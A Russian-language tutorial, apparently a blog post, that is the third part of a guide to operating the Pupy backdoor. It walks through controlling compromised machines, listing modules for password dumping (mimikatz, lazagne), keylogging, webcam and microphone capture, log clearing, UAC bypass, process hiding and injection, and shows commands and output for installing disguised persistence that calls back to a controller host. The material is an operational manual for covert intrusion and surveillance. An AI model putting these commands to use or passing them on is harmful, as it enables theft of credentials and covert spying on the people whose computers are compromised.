Как удалённо управлять компьютерами через бэкдор
Эта статья — продолжение инструкций по Pupy. Первые две части:
Работа с подключёнными сессиями
Команда sessions выполняет задачи, связанные с управлением сессиями:
- вывод списка подключённых удалённых компьютеров
- выбор сессии для отправки команды компьютеру
- отключение от одного или сразу всех компьютеров
Использование:
sessions [-h] [-i <фильтр>] [-g] [-k ] [-K] [-d ] [-D]
Опциональные аргументы:
-h, --help -i <фильтр>, --interact <фильтр> изменить дефолтное значение --filter для других команд -g, --global-reset сбросить --interact до стандартного глобального поведения -k <id> Убить выбранную сессию -K Убить все сессии -d <id> Сбросить соединение (резко закрыть сокет) -D Сбросить все соединения
По умолчанию все команды, которые вы вводите для выполнения на удалённых системах (запуск модулей) pupy выполняет сразу на всех подключённых клиентах. Благодаря этому можно, к примеру, одной командой запустить mimikatz на всех подключённых клиентах и собрать пароли сразу везде.
Чтобы вывести список сессий выполните команду:
sessions
Команды Pupy для выполнения на удалённом компьютере
На самом деле, правильно это называется не команды, а модули, поскольку, на самом деле, на удалённых компьютерах можно выполнять любые команды, которые поддерживают эти системы.
Что касается модулей — это в них собраны некоторые часто используемые команды, а также комбинированные действия, в том числе с использованием сторонних инструментов (например, для извлечения всех паролей).
Итак, начнём с обзора всех модулей.
Категория Имя Описание ------------------------------------------------------------------------------------------------------------------------------------------------------------ Администрирование shares Вывести список локальных и удалённых совместно используемых папок и разрешений Администрирование clear_logs Очистить логи событий Администрирование wmic Запрос к Wmi используя Wql Администрирование psh Загрузить/Выполнить скрипты Powershell Администрирование ssh Ssh клиент Администрирование rfs Монтировать удалённую файловую систему как Fuse Fs к точке монтирования Администрирование reg Поиск/Составление списка/Получение/Установка/Удаление Ключей/Значений регистра Администрирование smbspider Обойти директории Smb и рекурсивно искать в файлах строку Администрирование shell_exec Выполнить команды оболочки на удалённой системе Администрирование become Стать пользователем Администрирование logs Показать логи (или попытаться найти что-либо) Администрирование alive Запрос для отправки пакетов Keepalive на уровне Rpyc Администрирование rdesktop Запустить сессию удалённого рабочего стола используя Websocket клиент браузера Администрирование cp Скопировать файл или директорию Администрирование interactive_shell Открыть интерактивную оболочку для команд с приятным Tty Администрирование rm Удалить файл или директорию Администрирование smb Копировать файл через протокол Smb Администрирование hibernate Закрыть сессию на время X часов Администрирование netstat Вывести терминальные сессии Администрирование drives Вывести список валидных дисков в системе Администрирование sshell Интерактивный шелл Ssh Администрирование last Список терминальных сессий Администрирование rdp Включить / Отключить Rdp соединение или проверить валидность учётных данных на удалённом хосте Администрирование w Список терминальных сессий Администрирование getdomain Получить Primary Domain Controller (Основной контроллер домена) Администрирование cd Поменять папку Администрирование date Получить текущую дату Администрирование pexec Выполнить команды оболочки неинтерактивно на удалённой системе в фоне используя Popen Администрирование ps Вывести список процессов Администрирование zip Zip / Unzip (запаковать/распаковать) файл или директорию Администрирование mkdir Создать пустую папку Администрирование dns Получить доменное имя из IP и в обратную сторону Администрирование ls Вывести список системных файлов Администрирование psexec Запустить удалённую команду используя Smbexec или Wmiexec Администрирование pwd Узнать текущую рабочую директорию Администрирование pyexec Выполнить код Python на удалённой системе Администрирование beroot Проверить пути эскалации привилегий Администрирование cat Показать содержимое файла Администрирование pyshell Открыть интерактивную оболочку Python на удалённом клиенте Администрирование mv Переместить файл или директорию Администрирование display Установить переменную Display Администрирование ip Вывести список интерфейсов Администрирование sudo_alias Записать псевдоним для sudo для получения пользовательского пароля Администрирование igd Клиент Upnp Igd Администрирование stat Показать немного больше информации о файловом пути. В данный момент это Acls/Caps/Owner Администрирование http Тривиальный Get/Post запрос через протокол Http Администрирование x509 Получить сертификат с сервера Администрирование getppid Вывести информацию о родительском процессе Администрирование getpid Вывести информацию о процессе Администрирование services Вывести список служб Администрирование getuid Получить имя пользователя Учётные данные loot_memory Обход памяти процесса в поисках учётных данных в виде простого текста Учётные данные creddump Загрузить Hives с удалённой системы Windows и собрать учётные данные Учётные данные lazagne Получить хранимые на цели пароли Учётные данные mimipy Запустить Mimipy для получения учётных данных из памяти Учётные данные memstrings Получить печатные строки из памяти процесса для дальнейшего анализа Эксплуатация mimishell Выполнить Mimikatz из памяти (Интерактивно) Эксплуатация mimikatz Выполнить Mimikatz из памяти (не-интерактивно) Эксплуатация exploit_suggester Подсказчик эксплойтов Эксплуатация shellcode_exec Выполнить указанный шелл код (Shellcode) на клиенте Эксплуатация impersonate Список токенов процессов Сбор keylogger Перехватчик нажатий клавиатуры (Keylogger) для мониторинга всех взаимодействий с клавиатурой, включая буфер обмена Сбор hashmon Попробовать найти в памяти пароли в виде простого текста Сбор get_info Получить информацию об одном или нескольких клиентах Сбор contacts Для получения контактов Сбор isearch Использовать Windows Search Index для поиска данных Сбор search Пройтись по директориям и рекурсивно искать строку в файлах Сбор check_vm Проверить, запущен ли клиент ли на виртуальной машине Сбор outlook Взаимодействие с сессией Outlook целевого пользователя Сбор record_mic Запись звука с микрофона! Сбор pywerview Переписать некоторую функциональность Powerview на Python Сбор apps Взаимодействие с менеджером приложений Сбор call Получить подробности о звонке Сбор mouselogger Ведение журналов клики мыши и получения скриншотов области вокруг них Сбор powerview Выполнить команды Powerview Сбор get_hwuuid Попробовать получить Uuid (Dmi) или Machine-Id (Dbus/Linux) Сбор webcamsnap Сделать снимок с веб-камеры Сбор usniper Глобальный захват строк или регистра во время выполнения Сбор cloudinfo Получить метаданные Ec2/Digitalocean Сбор users Получить интерактивного пользователя Сбор screenshot Сделать скриншот Сбор ttyrec Глобальный захват ввода/вывода на Tty. Совместима с ядрами Сбор gpstracker Для взаимодействия с GPS Сбор exit Выйти из клиента на другой стороне Сбор process_kill Убить процесс Управление edit Локальное редактирование удалённого файла (Загрузка->Редактирование->Выгрузка) Управление upload Выгрузка файла/Директории на удалённую систему Управление hide_process Редактирование аргументы и окружение текущего процесса чтобы не выглядеть подозрительным Управление download Загрузка файла/Директории с удалённой системы Управление getprivs Управление привилегиями текущего процесса Управление tasks Получить информацию о зарегистрированных фоновых задачах Управление memory_exec Выполнить исполнимый файл в памяти Управление lock_screen Заблокировать сессию Управление duplicate Дуплицировать текущую полезную нагрузку Pupy выполнив её в памяти Управление load_package Загрузить пакет Python на удалённый клиент. Файлы пакетов должны быть помещены в одну из папок с общим видом Pupy/Packages/<Os>/<Arch>/ Repository Управление migrate Переместить Pupy в другой процесс используя Reflective Dll Injection Управление write Записать короткую строку в файл Управление env Вывести список/Получить/Установить/удалить переменные окружения клиента Управление persistence Включить / Отключить закрепление в удалённой системе Сеть port_scan Запуск сканера Tcp портов Сеть forward Локальное/Удалённое перенаправление портов и Socks прокси Сеть tcpdump Модуль для воспроизведения некоторых классических функций инструмента Tcpdump Повышение привилегий getsystem Пытается получить привилегии Nt Authority System Повышение привилегий bypassuac Обход UAC, но будьте осторожны, большинство методов обхода выявляются антивирусами Повышение привилегий inveigh Выполнить команды Inveigh Повышение привилегий privesc_checker Скрипты повышения привилегий Linux Троллинг text_to_speach Использовать генератор голоса (Text To Speach) на Android чтобы что-нибудь сказать Троллинг vibrate Активация вибратора на телефоне/планшете Троллинг msgbox Всплывающее окно с указанным сообщением
Для запуска команды нужно использовать ту строку, которая стоит в столбце «Имя».
К примеру, чтобы вывести список дисков во всех системах выполните команду:
drives
Чтобы получить справку по модулю, введите его имя с опцией -h. К примеру, я хочу узнать справку для модуля persistence (включение и отключение закрепления):
persistence -h
Использование:
persistence [-h] [-s] [-p ПОЛЕЗНАЯ НАГРУЗКА] [-n ИМЯ] [-m МЕТОД] [-l] [--remove]
Опциональные аргументы:
-h, --help показать справку и выйти -s, --shared предпочитать совместно используемые объекты (только linux) -p PAYLOAD удалённый путь или команда для выполнения при входе (только windows) -n NAME указать имя для использования (только windows) -m METHOD должен быть ID, для получения списка доступных методов выполните с опцией (-l) (только windows) -l вывести список всех возможных техник для этого хоста (только windows) --remove удалить закрепление
Пример создания на удалённой системе бэкдора, который будет запускаться при старте компьютера:
------------------------------------------------------------------------------------------------------------------------------------------- >> PupyClient(id=2, user=mial, hostname=HackWare, platform=Linux) << ------------------------------------------------------------------------------------------------------------------------------------------- { Configuration } KEY VALUE -------------------------------------------------- launcher connect launcher_args --host 192.168.1.53:43210 -t http cid 3263277090 [+] Required credentials (found) + SSL_BIND_CERT + SIMPLE_RSA_PRIV_KEY + SIMPLE_RSA_PUB_KEY [+] Generating the payload with the current config from pupyx64.lin - size=3713536 [+] Dropped: /home/mial/.dropbox-dist/dropboxc Method: Systemd Config: /home/mial/.config/systemd/user/dbus.service.d/hgzenu.conf
Эта запись означает, что конфигурационный файл для автозапуска сохранён по пути /home/mial/.config/systemd/user/dbus.service.d/hgzenu.conf, а сам исполнимый файл сохранён в /home/mial/.dropbox-dist/dropboxc
Ещё несколько примеров.
Для просмотра информации о сетевых подключениях на удалённых системах:
netstat
Для извлечения всех паролей:
lazagne
Или:
mimikatz
Захватчик нажатий клавиш:
keylogger
Получение информации о системах:
get_info
Чтобы получить скриншоты рабочих столов удалённых компьютеров:
screenshot
Выполнение команд только на определённых удалённых системах
Можно переключаться между сессиями, например, чтобы переключиться на первую сессию, чтобы введённые команды выполнялись только на ней:
sessions -i 1
Необязательно указывать именно номер сессии — поддерживаются разнообразные фильтры, благодаря которым можно выбрать одну или сразу несколько систем. Например, для взаимодействия только со всеми Windows 7:
sessions -i 'platform:Windows release:7'
Поддерживается фильтрация по различным параметрам, вы сможете их все увидеть выполнив команду:
get_info
Используйте автодополнение!
При вводе команд, нажимайте клавишу TAB, чтобы дополнить имена команд и опций.
Экранируйте ваши аргументы
Каждая команда в оболочке pupy использует unix подобный синтаксис экранирования. Если вам нужен пробел в одном из ваших аргументов, вам нужно поместить ваш аргумент между кавычек:
shell_exec 'tasklist /V'
Если вы отправляете путь в Windows, вам нужно экранировать обратный слэш ещё одним - вторым обратным слэшем, либо всё поместить в кавычки:
download 'C:\Windows\System32\cmd.exe'
Или:
download C:\\Windows\\System32\\cmd.exe
Создавайте псевдонимы
Для повышения производительности можно указать псевдонимы модулей в файле pupy.conf. Если вы определяете псевдоним следующим образом:
shell=interactive_shell
то запуск команды
shell
будет эквивалентом запуску команды:
interactive_shell
Пример создания псевдонима для добавления команды убийства клиентского процесса pupy сигналом 9:
killme = pyexec -c 'import os;os.kill(os.getpid(),9)'
Работы
Работы (jobs) — это команды, запущенные в фоне. Некоторые модули, такие как socks5proxy или portfwd, автоматически запускают работы, но все модули могут быть запущены как работа, если использовать аргумент --bg:
run --bg shell_exec 'tasklist /V' [%] job < shell_exec ['tasklist /V'] > started in background !
Использование:
jobs [-h] [-k| -K ] [-l] [-p ]
Опциональные аргументы:
-h, --help показать справку и выйти -k <job_id>, --kill <job_id> закрыть работу, но перед этим показать её текущий вывод -K <job_id>, --kill-no-output <job_id> закрыть работу без показа вывода -l, --list вывести список работ -p <job_id>, --print-output <job_id> напечатать вывод работы
Переключатель --bg обычно используется, когда вы хотите выполнить длительную команду/модуль и хотите, чтобы по время её работы оболочка продолжала оставаться функциональной.
Вывод работы может быть получен в любой момент, используя команду
jobs -p
Командой jobs также можно выводить список работ и завершать работы.
Обычные работы могут быть установлены в вашем рабочем окружении Linux/Unix запуском вашего скрипта pupysh.py внутри утилиты Screen. Затем вы можете настроить cronjobs для запуска команды с любыми требуемыми вам интервалами. Замените 1674 вашим идентификатором сеанса экрана. Команда echo в этом примере по сути эмулирует нажатия клавиши Enter:
screen -S 1674 -X stuff 'this is an example command'$(echo -ne '\015')
Команда run
Эта команда нужна для запуска модулей, но её можно пропускать, если вы не собираетесь использовать дополнительные возможности, такие как выполнение команды в фоне, сохранение результатов в файл и/или только для определённых клиентов.
Использование:
run [-h] [-1] [-o ВЫВОД] [-f <фильтр клиента>] [-b] <модуль> ...
Опции:
позиционные аргументы: <module> модуль <arguments> аргументы модуля опциональные аргументы: -h, --help показать справку и выйти -1, --once Выгрузить новые депы после использования -o ВЫВОД, --output ВЫВОД сохранить вывод команды в файл.%t — временная метка, %h - хост, %m - MAC-адрес, %c — короткое имя клиента, %M — имя модуля, %p - платформа, %u - пользователь, %a - IP адрес -f <фильтр клиента>, --filter <фильтр клиента> выполнять на клиентах, подходящих под фильтр. Все поля, по которым можно фильтровать, можно увидеть в модуле "info". Например: run get_info -f 'platform:win release:7 os_arch:64' -b, --background запустить в фоне
Ошибка ImportError: No module named minikerberos.asn1_structs
При запуске модуля
lazagne
появляются следующие сообщения:
2019-05-16 06:08:09,404| Compilation error: expected an indented block line: for mod in self.lsass_task.get_load_modules(): [!] Load pypykatz.commons.kerberosticket failed: Exception: No module named minikerberos.asn1_structs [!] Error loading package pypykatz.commons.kerberosticket (pypykatz/commons/kerberosticket.pyo pkg=False) : No module named minikerberos.asn1_structs Traceback (most recent call last): ImportError: No module named minikerberos.asn1_structs [!] Load pypykatz.lsadecryptor.packages.kerberos.decryptor failed: Exception: No module named minikerberos.asn1_structs [!] Error loading package pypykatz.lsadecryptor.packages.kerberos.decryptor (pypykatz/lsadecryptor/packages/kerberos/decryptor.pyo pkg=False) : No module named minikerberos.asn1_structs Traceback (most recent call last): ImportError: No module named minikerberos.asn1_structs
Несмотря на эти сообщения, модуль работает штатно и извлекает пароли из удалённых систем. Объяснение от автора здесь: https://github.com/n1nj4sec/pupy/issues/750
Связанные статьи:
- Как установить Pupy (100%)
- Инструкция по Pupy: как создать бэкдор (100%)
- Скрытое управление компьютером на Windows (используя Metasploit) (78.6%)
- Инструкция по использованию Weevely: инструмента веб-мастера и пентестера (42.9%)
- Брут-форс и эксплуатация скомпрометированных WordPress (42.9%)
- Как сделать прокси на виртуальном хостинге (RANDOM - 14.3%)
отличная статья, в прочем, как и все твои остальные. спасибо тебе